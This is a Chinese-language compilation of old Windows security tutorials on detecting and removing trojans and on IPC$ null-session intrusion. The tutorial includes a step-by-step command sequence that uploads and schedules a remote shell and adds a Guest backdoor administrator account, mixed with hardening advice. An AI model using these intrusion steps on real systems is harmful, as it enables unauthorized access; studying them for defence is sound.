當前最為一般的木馬通常是關於TCP/UDP傳輸協定進行client端與server端之間的通訊的,既然利用到這兩個傳輸協定,就不可避免要在server端(就是被種了木馬的機器了)開啟監聽連接阜來等待連接。例如鼎鼎大名的冰河使用的監聽連接阜是7626,Back Orifice 2000則是使用54320等等。
那麼,可以利用檢視本地機開放連接阜的方法來檢查是否被種了木馬或其它hacker程序。以下是詳細方法介紹。
1. Windows本身原有的的netstat指令
關於netstat指令,先來看看windows求助文件中的介紹:
Netstat
顯示傳輸協定統計和當前的 TCP/IP 網路連接。該指令只有在安裝了 TCP/IP 傳輸協定後才可以使用。
netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval]
參數
-a
顯示所有連接和偵聽連接阜。伺服器連接通常不顯示。
-e
顯示乙太網統計。該參數可以與 -s 選項結合使用。
-n
以數位格式顯示位址和連接阜號(而不是嘗試搜尋名稱)。
-s
顯示每個傳輸協定的統計。預設情況下,顯示 TCP、UDP、ICMP 和 IP 的統計。-p 選項可以用來指定預設的子集。
-p protocol
顯示由 protocol 指定的傳輸協定的連接;protocol 可以是 tcp 或 udp。如果與 -s 選項一同使用顯示每個傳輸協定的統計,protocol 可以是 tcp、udp、icmp 或 ip。
-r
顯示路由表的內容。
interval
重新顯示所選的統計,在每次顯示之間暫停 interval 秒。按 CTRL+B 停止重新顯示統計。如果省略該參數,netstat 將列印一次當前的配置資訊。
好了,看完這些求助文件,應該明白netstat指令的使用方法了。現在就現學現用,用這個指令看一下電腦開放的連接阜。進入到指令行下,使用netstat指令的a和n兩個參數:
C:\>netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7626 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 0.0.0.0:0
UDP 0.0.0.0:1046 0.0.0.0:0
UDP 0.0.0.0:1047 0.0.0.0:0
解釋一下,Active Connections是指當前本地機活動連接,Proto是指連接使用的傳輸協定名稱,Local Address是本機電腦的 IP 位址和連接正在使用的連接阜號,Foreign Address是連接該連接阜的遠端電腦的 IP 位址和連接阜號,State則是表明TCP 連接的狀態,你可以看到後面三行的監聽連接阜是UDP傳輸協定的,所以沒有State表示的狀態。
看!電腦的7626連接阜已經開放,正在監聽等待連接,像這樣的情況極有可能是已經感染了冰河!急忙中斷連線網路,用殺毒軟體查殺病毒是正確的做法。
2.工作在windows2000下的指令行工具fport
使用windows2000的朋友要比使用windows9X的幸運一些,因為可以使用fport這個程序來顯示本地機開放連接阜與行程的對應關係。
Fport是FoundStone出品的一個用來列出系統中所有開啟的TCP/IP和UDP連接阜,以及它們對應應用程式的完整路徑、PID標識、行程名稱等資訊的軟體。在指令行下使用,請看例子:
D:\>fport.exe
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com
Pid Process Port Proto Path
748 tcpsvcs -> 7 TCP C:\WINNT\System32\ tcpsvcs.exe
748 tcpsvcs -> 9 TCP C:\WINNT\System32\tcpsvcs.exe
748 tcpsvcs -> 19 TCP C:\WINNT\System32\tcpsvcs.exe
416 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
是不是一目瞭然了。這下,各個連接阜究竟是什麼程序開啟的就都在眼前了。
如果發現有某個可疑程序開啟了某個可疑連接阜,可千萬不要大意哦,也許那就是一隻狡猾的木馬!
Fport的最新版本是2.0。
在很多網站都提供下載,但是為了安全起見,當然最好還是到它的老家去下:
http://www.foundstone.com/knowledge/zips/fport.zip
3.與Fport功能類似的圖形化界面工具Active Ports
Active Ports為SmartLine出品,可以用來監視電腦所有開啟的TCP/IP/UDP連接阜,不但可以將所有的連接阜顯示出來,還顯示所有連接阜所對應的程序所在的路徑,本機IP和遠端IP(試突連接你的電腦IP)是否正在活動。
更棒的是,它還提供了一個關閉連接阜的功能,在用它發現木馬開放的連接阜時,可以立即將連接阜關閉。
這個軟體工作在Windows NT/2000/XP平台下。可以在http://www.smartline.ru/software/aports.zip得到它。
其實使用windows xp的用戶無須借助其它軟體即可以得到連接阜與行程的對應關係,因為windows xp所帶的netstat指令比以前的版本多了一個O參數,使用這個參數就可以得出連接阜與行程的對應來。
上面介紹了幾種檢視本地機開放連接阜,以及連接阜和行程對應關係的方法,通過這些方法可以輕鬆的發現關於TCP/UDP傳輸協定的木馬,希望能給電腦帶來說明 。
但是對木馬重在防範,而且如果碰上反彈連接阜木馬,利用驅動程式及動態連接庫技術製作的新木馬時,以上這些方法就很難查出木馬的痕跡了。
所以一定要養成良好的上網習慣,不要隨意執行郵件中的附件,安裝一套殺毒軟體,像國內的瑞星就是個查殺病毒和木馬的好幫手。從網上下載的軟體先用殺毒軟體檢查一遍再使用,在上網時開啟網路防火牆和病毒既時監控,保護電腦不被可恨的木馬入侵。
----------------------------------------------------
偷偷()入侵的IP
在DOS中執行netstat -nap tcp後 有些IP會出現[ESTABLISHED] 那就代表它是在連線中 如果不能判斷是否為自家的區域網路 可以進一步使用追蹤指令:tracert 對方IP 這樣就可以知道對方是從哪裡上線的了。
-------------------------------
手動查除黑客程式
黑客”,網路”終結者”的代名詞,讓廣大蟲蟲既興奮又緊張,時下,流行的”黑客”程式也非常多,但傳播最廣、危害最大的就數BO、Netspy和Netbus.一旦被其攻擊到,輕則”全身潰爛”,重則”四肢殘廢”.
敝人在此特拿出一”解藥”為已中毒而尚無生命之礙的蟲蟲們解除毒害.
(1) BO(Back Orifice)
執行c:\windows目錄下的”Regedit.exe”,然後,點擊目錄至HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices,看右邊是否有某個ab項出現(缺省為”.exe”),如果有則立即刪除這個ab項,並確認刪除后原來”.exe”地方變為未設置鍵值.接著,重新啟動並切換至MS-DOS方式,輸入cd c:\windows\system並Enter,輸入del windll.dll並Enter,返回Windows.
(2) Netspy
執行c:\windows目錄下的”Regedit.exe”,然後,點擊目錄至HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run,看右邊是否有兩個ab項分別出現NETSPY或NETSPY和SPYNOTIFY,如果有則立即刪除這兩個ab項,用同上的方法退出至MS-DOS方式,輸入cd c:\windows\system並Enter,輸入del netspy.exe並Enter,輸入del spynot~1並Enter,返回Windows.
(3) Netbus
中了Netbus的蟲蟲們可要多加小心了!Netbus感染到你體內的程式名字是由你執行帶Netbus的某個正常程式的名字所決定的.但中了Netbus后會有幾個特征:在c:\windows目錄下生成一個文件,一種是圖標像c:\windows\system目錄下”查看頻道.scf”文件,這只能在Win98里看到.該圖標看起來是一個中心淡藍色的鍋狀衛星天線;另一種是圖標像一個燃著的向右傾斜的火炬,背顥是一個小小的深藍色的圓面.(如果你在c:\windows下看到這兩種圖標的文件,就在文件上點擊滑鼠右鍵,觀看”屬性”中”大小”項,看是否出現”483KB”或”461KB”,如果出現其中一種,請運行c:\windows目錄下的”Regedit.exe”,同樣點擊HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run看有沒有哪個ab項的名稱与你發現的那種圖標的文件的名字相同,如果有,看看這ab項右邊是不是出現”c:\windows\圖標的名字.EXE/nomsg”,如果出現的話,表示你中了Netbus.同上一樣,刪除這個ab項,退出到MS-DOS方式,輸入cd c:\windows並Enter,輸入del 圖標的名字.exe並Enter,輸入del keyhook.dll並Enter,返回windows.
一份詳盡的IPC$入侵資料
作者:iqst
一 嘮叨一下:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當於解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!
二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這麼說的),它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。
利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網絡登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$,訪問共享資源,導出用戶列表,並使用一些字典工具,進行密碼探測,寄希望於獲得更高的權限,從而達到不可告人的目的.
解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網絡登陸功能,其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函數,所以不能在Windows 9.x中運行。
也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連接
3)並不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表
三 建立ipc$連接在hack攻擊中的作用
就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有一定權限的用戶身份登陸的話,那麼你就會得到相應的權限,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳木馬並運行,如果是2000server,還可以考慮開啟終端服務方便控制.怎麼樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的:(
因此今後你最大的可能就是以極小的權限甚至是沒有權限進行連接,你會慢慢的發現ipc$連接並不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連接.
所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在.
四 ipc$與空連接,139,445端口,默認共享的關係
以上四者的關係可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)
1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃瞄弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何權限(很鬱悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的權限(有權限誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445端口:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139端口的開啟表示netbios協議的應用,我們可以通過139,445(win2000)端口實現對共享文件/打印機的訪問,因此一般來講,ipc$連接是需要139或445端口來支持的.
3)ipc$與默認共享
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)
五 ipc$連接失敗的原因
以下5個原因是比較常見的:
1)你的系統不是NT或以上操作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445端口(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員權限的,先提升權限;
錯誤號51,Windows 無法找到網絡路徑 : 網絡有問題;
錯誤號53,找不到網絡路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(端口過濾);
錯誤號67,找不到網絡名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
關於ipc$連不上的問題比較複雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了.
六如何打開目標的IPC$(此段引自相關文章)
首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴展、telnet、木馬,當然,這shell必須是admin權限的,然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法),還是不行的話(比如有防火牆,殺不了)建議放棄。
七如何防範ipc$入侵
1禁止空連接進行枚舉(此操作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit,找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)
2禁止默認共享
1)察看本地共享資源
運行-cmd-輸入net share
2)刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)
3)停止server服務
net stop server /y (重新啟動後server服務會重新開啟)
4)修改註冊表
運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙字節值)一個主健再改鍵值。
3永久關閉ipc$和默認共享依賴的服務:lanmanserver即server服務
控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-已禁用
4安裝防火牆(選中相關設置),或者端口過濾(濾掉139,445等),或者用新版本的優化大師
5設置複雜密碼,防止通過ipc$窮舉密碼
(本教程不定期更新,欲獲得最新版本,請登陸官方網站:菜菜鳥社區原http://ccbirds.yeah.net/)
八 相關命令
1)建立空連接:
net use \\IP\ipc$ "" /user:""(一定要注意:這一行命令中包含了3個空格)
2)建立非空連接:
net use \\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)
3)映射默認共享:
net use z: \\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤,其他盤類推)
如果已經和目標建立了ipc$,則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$
4)刪除一個ipc$連接
net use \\IP\ipc$ /del
5)刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認
九 經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的用戶名是administrators,密碼為"空"的IP地址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個連接,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號裡的是用戶名,輸入administrators,命令即可成功完成。
2. C:\>copy srv.exe \\127.0.0.1\admin$
先複製srv.exe上去,在流光的Tools目錄下就有(這裡的$是指admin用戶的c:\winnt\system32\,大家還可以使用c$、d$,意思是C盤與D盤,這看你要複製到什麼地方去了)。
3. C:\>net time \\127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧(這裡設置的時間要比主機時間快,不然你怎麼啟動啊,呵呵!)
5. C:\>net time \\127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就準備開始下面的命令。
6. C:\>telnet 127.0.0.1 99
這裡會用到Telnet命令吧,注意端口是99。Telnet默認的是23端口,但是我們使用的是SRV在對方計算機中為我們建立一個99端口的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個Telnet服務!這就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。
8. C:\WINNT\system32>ntlm
輸入ntlm啟動(這裡的C:\WINNT\system32>指的是對方計算機,運行ntlm其實是讓這個程序在對方計算機上運行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!
9. Telnet 127.0.0.1,接著輸入用戶名與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變為Administrator^_^(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這台計算機)
十 總結:
關於ipc入侵就說這麼多了,覺得已經夠詳細了,如果有不準確的地方,希望能與大家討論.
最後,希望大家不要隨便入侵,我寫這篇文章的目的是想解答大家的疑惑,並不是鼓勵大家隨便的入侵
======================================================================================
《一份詳盡的 IPC$ 入侵資料》第二版
目錄 :
一 摘要
二 什麼是 ipc$
三 什麼是空會話
四 空會話可以做什麼
五 ipc$ 所使用的端口
六 ipc 管道在 hack 攻擊中的意義
七 ipc$ 連接失敗的常見原因
八 複製文件失敗的原因
九 關於 at 命令和 xp 對 ipc$ 的限制
十 如何打開目標的 IPC$ 共享以及其他共享
十一 一些需要 shell 才能完成的命令
十二 入侵中可能會用到的命令
十三 對比過去和現今的 ipc$ 入侵
十四 如何防範 ipc$ 入侵
十五 ipc$ 入侵問答精選
十六 結束的話
一 摘要
網上關於 ipc$ 入侵的文章可謂多如牛毛,攻擊步驟甚至已經成為了固化的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄。不過話雖這樣說,我認為這些文章講解的並不詳細,一些內容甚至是錯誤的,以致對 ipc$ 的提問幾乎佔了各大安全論壇討論區的半壁江山,而且這些問題常常都是重複的,嚴重影響了論壇質量和學習效率,因此我總結了這篇文章,希望能把 ipc$ 這部分東西盡量說清楚。
注意:本文所討論的各種情況均默認發生在 win NT/2000 環境下, win98 將不在此次討論之列。
二 什麼是 ipc$
IPC$(Internet Process Connection) 是共享 " 命名管道 " 的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。 IPC$ 是 NT/2000 的一項新功能,它有一個特點,即在同一時間內,兩個 IP 之間只允許建立一個連接。 NT/2000 在提供了 ipc$ 功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享 (c$,d$,e$ …… ) 和系統目錄 winnt 或 windows(admin$) 共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。
平時我們總能聽到有人在說 ipc$ 漏洞, ipc$ 漏洞,其實 ipc$ 並不是一個真正意義上的漏洞 , 我想之所以有人這麼說,一定是指微軟自己安置的那個『後門':空會話( Null session )。那麼什麼是空會話呢?
三 什麼是空會話
在介紹空會話之前,我們有必要瞭解一下一個安全會話是如何建立的。
在 Windows NT 4.0 中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立雙方通過它互通信息,這個過程的大致順序如下:
1 )會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的建立;
2 )服務器產生一個隨機的 64 位數(實現挑戰)傳送回客戶;
3 )客戶取得這個由服務器產生的 64 位數,用試圖建立會話的帳號的口令打亂它,將結果返回到服務器(實現響應);
4 )服務器接受響應後發送給本地安全驗證( LSA ), LSA 通過使用該用戶正確的口令來核實響應以便確認請求者身份。如果請求者的帳號是服務器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控制器去核實。當對挑戰的響應核實為正確後,一個訪問令牌產生,然後傳送給客戶。客戶使用這個訪問令牌連接到服務器上的資源直到建議的會話被終止。
以上是一個安全會話建立的大致過程,那麼空會話又如何呢?
空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼),但根據 WIN2000 的訪問控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中並沒有經過用戶信息的認證,所以這個令牌中不包含用戶信息,因此,這個會話不能讓系統間發送加密信息,但這並不表示空會話的令牌中不包含安全標識符 SID (它標識了用戶和所屬組),對於一個空會話, LSA 提供的令牌的 SID 是 S- 1-5-7 ,這就是空會話的 SID ,用戶名是: ANONYMOUS LOGON (這個用戶名是可以在用戶列表中看到的,但是是不能在 SAM 數據庫中找到,屬於系統內置的帳號),這個訪問令牌包含下面偽裝的組:
Everyone
Network
在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那麼建立空會話到底可以作什麼呢?
四 空會話可以做什麼
對於 NT ,在默認安全設置下,借助空連接可以列舉目標主機上的用戶和共享,訪問 everyone 權限的共享,訪問小部分註冊表等,並沒有什麼太大的利用價值;對 2000 作用更小,因為在 Windows 2000 和以後版本中默認只有管理員和備份操作員有權從網絡訪問到註冊表,而且實現起來也不方便,需借助工具。
從這些我們可以看到,這種非信任會話並沒有多大的用處,但從一次完整的 ipc$ 入侵來看,空會話是一個不可缺少的跳板,因為我們從它那裡可以得到戶列表,而大多數弱口令掃瞄工具就是利用這個用戶列表來進行口令猜解的,成功的導出用戶列表大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,因此說空會話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令:
1 首先,我們先建立一個空會話(當然,這需要目標開放 ipc$ )
命令: net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四個空格, net 與 use 中間有一個空格, use 後面一個,密碼左右各一個空格。
2 查看遠程主機的共享資源
命令: net view \\ip
解釋:前提是建立了空連接後,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結果,但此命令不能顯示默認共享。
在 \\*.*.*.* 的共享資源
資源共享名 類型 用途 註釋
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
3 查看遠程主機的當前時間
命令: net time \\ip
解釋:用此命令可以得到一個遠程主機的當前時間。
4 得到遠程主機的 NetBIOS 用戶名列表(需要打開自己的 NBT )
命令: nbtstat -A ip
用此命令可以得到一個遠程主機的 NetBIOS 用戶名列表,返回如下結果:
Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
SERVER UNIQUE Registered
OYAMANISHI-H GROUP Registered
OYAMANISHI-H GROUP Registered
SERVER UNIQUE Registered
OYAMANISHI-H UNIQUE Registered
OYAMANISHI-H GROUP Registered
SERVER UNIQUE Registered
OYAMANISHI-H UNIQUE Registered
..__MSBROWSE__. GROUP Registered
INet~Services GROUP Registered
IS~SERVER...... UNIQUE Registered
MAC Address = 00-50-8B -9A -2D-37
以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立 IPC$ 連接的操作會在 Event Log 中留下記錄,不管你是否登錄成功。 好了,那麼下面我們就來看看 ipc$ 所使用的端口是什麼?
五 ipc$ 所使用的端口
首先我們來瞭解一些基礎知識:
1 SMB:(Server Message Block) Windows 協議族,用於文件打印共享的服務;
2 NBT:(NETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )端口實現基於 TCP/IP 協議的 NETBIOS 網絡互聯。
3 在 WindowsNT 中 SMB 基於 NBT 實現,即使用 139 ( TCP )端口;而在 Windows2000 中, SMB 除了基於 NBT 實現,還可以直接通過 445 端口實現。
有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了:
對於 win2000 客戶端(發起端)來說:
1 如果在允許 NBT 的情況下連接服務器時,客戶端會同時嘗試訪問 139 和 445 端口,如果 445 端口有響應,那麼就發送 RST 包給 139 端口斷開連接,用 455 端口進行會話,當 445 端口無響應時,才使用 139 端口,如果兩個端口都沒有響應,則會話失敗;
2 如果在禁止 NBT 的情況下連接服務器時,那麼客戶端只會嘗試訪問 445 端口,如果 445 端口無響應,那麼會話失敗。
對於 win2000 服務器端來說:
1 如果允許 NBT, 那麼 UDP 端口 137, 138, TCP 端口 139, 445 將開放( LISTENING );
2 如果禁止 NBT ,那麼只有 445 端口開放。
我們建立的 ipc$ 會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽 139 或 445 端口, ipc$ 會話是無法建立的。
六 ipc 管道在 hack 攻擊中的意義
ipc 管道本來是微軟為了方便管理員進行遠程管理而設計的,但在入侵者看來,開放 ipc 管道的主機似乎更容易得手。通過 ipc 管道,我們可以遠程調用一些系統函數(大多通過工具實現,但需要相應的權限),這往往是入侵成敗的關鍵。如果不考慮這些,僅從傳送文件這一方面, ipc 管道已經給了入侵者莫大的支持,甚至已經成為了最重要的傳輸手段,因此你總能在各大論壇上看到一些朋友因為打不開目標機器的 ipc 管道而一籌莫展大呼救命。當然,我們也不能忽視權限在 ipc 管道中扮演的重要角色,想必你一定品嚐過空會話的尷尬,沒有權限,開啟管道我們也無可奈何。但入侵者一旦獲得了管理員的權限,那麼 ipc 管道這把雙刃劍將顯示出它猙獰的一面。
七 ipc$ 連接失敗的常見原因
以下是一些常見的導致 ipc$ 連接失敗的原因:
1 IPC 連接是 Windows NT 及以上系統中特有的功能,由於其需要用到 Windows NT 中很多 DLL 函數,所以不能在 Windows 9.x/Me 系統中運行,也就是說只有 nt/2000/xp 才可以相互建立 ipc$ 連接, 98/me 是不能建立 ipc$ 連接的;
2 如果想成功的建立一個 ipc$ 連接,就需要響應方開啟 ipc$ 共享,即使是空連接也是這樣,如果響應方關閉了 ipc$ 共享,將不能建立連接;
3 連接發起方未啟動 Lanmanworkstation 服務(顯示名為: Workstation ):它提供網絡鏈結和通訊,沒有它發起方無法發起連接請求;
4 響應方未啟動 Lanmanserver 服務(顯示名為: Server ):它提供了 RPC 支持、文件、打印以及命名管道共享, ipc$ 依賴於此服務,沒有它主機將無法響應發起方的連接請求,不過沒有它仍可發起 ipc$ 連接;
5 響應方未啟動 NetLogon ,它支持網絡上計算機 pass-through 帳戶登錄身份(不過這種情況好像不多);
6 響應方的 139 , 445 端口未處於監聽狀態或被防火牆屏蔽;
7 連接發起方未打開 139 , 445 端口;
8 用戶名或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似於 ' 無法更新密碼 ' 這樣的錯誤提示(顯然空會話排除這種錯誤);
9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號 "" 即可;
10 如果在已經建立好連接的情況下對方重啟計算機,那麼 ipc$ 連接將會自動斷開,需要重新建立連接。
另外 , 你也可以根據返回的錯誤號分析原因:
錯誤號 5 ,拒絕訪問:很可能你使用的用戶不是管理員權限的;
錯誤號 51 , Windows 無法找到網絡路徑:網絡有問題;
錯誤號 53 ,找不到網絡路徑: ip 地址錯誤;目標未開機;目標 lanmanserver 服務未啟動;目標有防火牆(端口過濾);
錯誤號 67 ,找不到網絡名:你的 lanmanworkstation 服務未啟動或者目標刪除了 ipc$ ;
錯誤號 1219 ,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個 ipc$ ,請刪除再連;
錯誤號 1326 ,未知的用戶名或錯誤密碼:原因很明顯了;
錯誤號 1792 ,試圖登錄,但是網絡登錄服務沒有啟動:目標 NetLogon 服務未啟動;
錯誤號 2242 ,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。
八 複製文件失敗的原因
有些朋友雖然成功的建立了 ipc$ 連接,但在 copy 時卻遇到了這樣那樣的麻煩,無法複製成功,那麼導致複製失敗的常見原因又有哪些呢?
1 對方未開啟共享文件夾
這類錯誤出現的最多,佔到 50% 以上。許多朋友在 ipc$ 連接建立成功後,甚至都不知道對方是否有共享文件夾,就進行盲目複製,結果導致複製失敗而且鬱悶的很。因此我建議大家在進行複製之前務必用 net view \\IP 這個命令看一下你想要複製的共享文件夾是否存在(用軟件查看當然更好),不要認為能建立 ipc$ 連接就一定有共享文件夾存在。
2 向默認共享複製失敗
這類錯誤也是大家經常犯的,主要有兩個小方面:
